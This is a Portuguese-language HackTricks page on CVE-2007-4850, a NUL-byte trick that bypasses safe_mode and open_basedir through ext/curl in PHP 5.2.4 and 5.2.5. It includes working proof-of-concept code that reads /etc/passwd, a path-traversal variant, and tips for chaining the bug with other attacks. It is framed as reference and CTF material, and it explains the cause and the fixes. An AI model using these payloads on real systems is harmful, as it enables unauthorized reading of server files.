PHP 5.2.4 e 5.2.5 PHP cURL
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Esta página documenta um truque legado, mas ainda útil em CTFs/instalações legadas locais, para contornar as verificações PHP safe_mode/open_basedir usando a extensão cURL em builds específicos do PHP 5.2.x.
- Afetados: PHP 5.2.4 e 5.2.5 com ext/curl habilitado.
- Impacto: Ler arquivos locais arbitrários apesar das restrições de safe_mode ou open_basedir (sem execução direta de código).
- ID: CVE-2007-4850.
Fonte http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
PoC de uma linha
Se safe_mode ou open_basedir estiverem ativos e cURL estiver habilitado, o seguinte retornará o conteúdo do script atual:
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
PoC mais explícito (arbitrary file read)
<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>
Notas:
- Use double quotes or chr(0) para injetar um NUL real. Percent-encoding (%00) não funcionará de forma confiável.
- Isto é uma primitive de leitura de arquivo. Combine com outros primitives (log poisoning, session file inclusion, etc.) para escalonamento adicional quando possível.
Why this works (short)
A vulnerabilidade reside em como o PHP 5.2.4/5.2.5 executava as checagens safe_mode/open_basedir para URLs file:// em ext/curl. A verificação analisava a URL e validava um componente de caminho, mas devido ao tratamento de NUL-byte validava uma string diferente daquela realmente usada por libcurl. Na prática, o validador podia aprovar o caminho após o NUL enquanto libcurl usava a parte antes do NUL como o contentor da URL, permitindo um bypass que resulta na leitura do arquivo colocado após o byte NUL. Veja a análise original e a macro afetada em curl/interface.c para detalhes. [CVE-2007-4850].
Constraints and fixes
- Corrigido em versões 5.2.x posteriores (ex.: builds de distro corrigidos para 5.2.6) corrigindo o parsing/validação em ext/curl.
- Afeta apenas deployments PHP muito antigos; safe_mode foi removido no PHP 5.4 e builds modernos não exibem este comportamento.
Related historical cURL-based bypasses
- CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers permitiam acesso
file://com NULs embutidos para burlar open_basedir; corrigido antes do 5.2.x. - PHP bugs #30609/#36223 rastrearam problemas iniciais do cURL com open_basedir usando
file://sem canonicalização. Qualquer checagem antes do byte NUL ou sem resolução ao estilorealpathé suscetível à mesma truncagem.
CTF tips
- Quando identificar PHP 5.2.4/5.2.5 com ext/curl carregado (procure por
cURL support => enabledemphpinfo()e aPHP Versionexata), esse truque geralmente funciona mesmo seallow_url_fopenestiver desabilitado porque ext/curl lida comfile://por conta própria. - Se caminhos diretos estiverem bloqueados, tente traversal relativo após o NUL, ex.:
file://x\x00../../../../etc/passwd. O traversal é resolvido por libcurl, não pelo guard open_basedir. - Você pode embutir o payload em um único corpo de requisição HTTP para acionar o LFI através de código server-side vulnerável que espelha URLs controladas pelo usuário em
curl_exec()(comum em endpoints legacy estilo SSRF).
See also
Other disable_functions/open_basedir bypasses and modern techniques are collected here:
References
- Ubuntu CVE entry with patch pointers and affected versions
- Technical writeup with code context (cxsecurity)
- PHP bug #36223 (curl bypasses open_basedir)
- CVE-2006-2563 cURL PHP File Access Bypass (earlier NUL-byte issue)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


